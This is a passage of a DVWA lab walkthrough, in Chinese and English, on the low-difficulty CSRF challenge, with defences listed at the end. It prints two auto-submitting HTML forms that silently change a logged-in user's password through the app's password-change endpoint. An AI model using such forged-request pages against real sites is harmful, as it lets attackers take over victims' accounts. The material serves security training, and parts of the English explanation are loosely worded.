DVWA 靶场CSRF(low)

本文通过DVWA的CSRF(low)靶场,演示了CSRF攻击如何修改用户密码,解释了CSRF攻击的原理,以及提出了三种防御措施:二次验证机制、检查HTTP Referer和使用Token验证。

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csrf界面,点Test credentials,输入默认的账号密码,点击登录,提示密码有效。(admin,password)

修改密码界面输入新的密码两次,burp抓包,选择CSRF Poc会生成一段payload。

复制html代码,另存为一个html文件。将这个html文件的两个密码 都改成123456,并在浏览器打开,点submit。

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### DVWA CSRF Vulnerability Walkthrough and Explanation #### Understanding CSRF in DVWA Cross-Site Request Forgery (CSRF) is a type of attack that tricks the victim into submitting a malicious request. It forces an end user to execute unwanted actions on a web application in which they are authenticated[^1]. In DVWA, this vulnerability can be explored at different difficulty levels including Low, Medium, High, and Impossible. For the **Low level**, no token or any form of validation exists. An attacker could craft a simple HTML page with hidden fields mimicking the target's POST data structure: ```html <form action="http://192.168.112.188/dvwa/vulnerabilities/csrf/" method="POST"> <input type="hidden" name="password_new" value="hacked"/> <input type="hidden" name="password_confirm" value="hacked"/> <input type="submit" value="Change Password"/> </form> <script>document.forms[0].submit();</script> ``` At the **Medium level**, although there might not be strict anti-CSRF tokens implemented, other defenses such as checking HTTP referer headers may apply. However, these checks often prove insufficient against sophisticated attacks because attackers can manipulate browser behavior through various means like embedding images pointing to internal URLs within external pages[^2]. In more advanced scenarios—like those found under 'High' settings—the presence of unique per-session tokens makes exploitation significantly harder but still possible via techniques involving session fixation or exploiting XSS flaws elsewhere on the site. The ultimate goal when configuring security measures should always aim towards achieving what DVWA terms "Impossible". Here, comprehensive protections prevent successful forgery attempts by ensuring each legitimate operation includes unpredictable values tied directly back to individual sessions. #### Demonstrating Exploitation Process To demonstrate how one exploits CSRF vulnerabilities present in lower difficulties using DVWA: - Create an HTML file named `change_password.html` containing crafted forms targeting password change functionality. ```html <!-- Example for low-level CSRF --> <!DOCTYPE html> <html lang="en"> <head><title>Exploit Page</title></head> <body onload='document.getElementById("csrf").submit()'> <form id="csrf" action="http://target-ip-address/dvwa/vulnerabilities/csrf/" method="POST"> <input type="text" name="password_new" value="newpass"/> <input type="text" name="password_confirm" value="newpass"/> <input type="submit" name="Change" /> </form> </body> </html> ``` Upon loading this exploit page while logged into DVWA, it automatically submits the form changing your account’s credentials without explicit consent from you. #### Mitigation Strategies Against CSRF Attacks Implementing robust countermeasures involves several best practices: - Utilizing synchronized cookie patterns where requests must include both cookies and matching parameters sent along with them. - Generating cryptographically secure random numbers used once per transaction known as synchronizer tokens stored server-side during login then validated upon submission. - Employing double submit cookies strategy wherein clients send two copies of their session identifier – one inside standard Cookie header another explicitly included among submitted variables. --related questions-- 1. What specific mechanisms does DVWA implement across its varying CSRF challenge complexities? 2. How do modern frameworks address potential CSRF threats beyond traditional methods discussed here? 3. Can machine learning algorithms enhance detection rates for novel types of cross-site scripting attacks related to CSRF? 4. Are there real-world examples demonstrating effective bypasses around contemporary anti-CSRF implementations?
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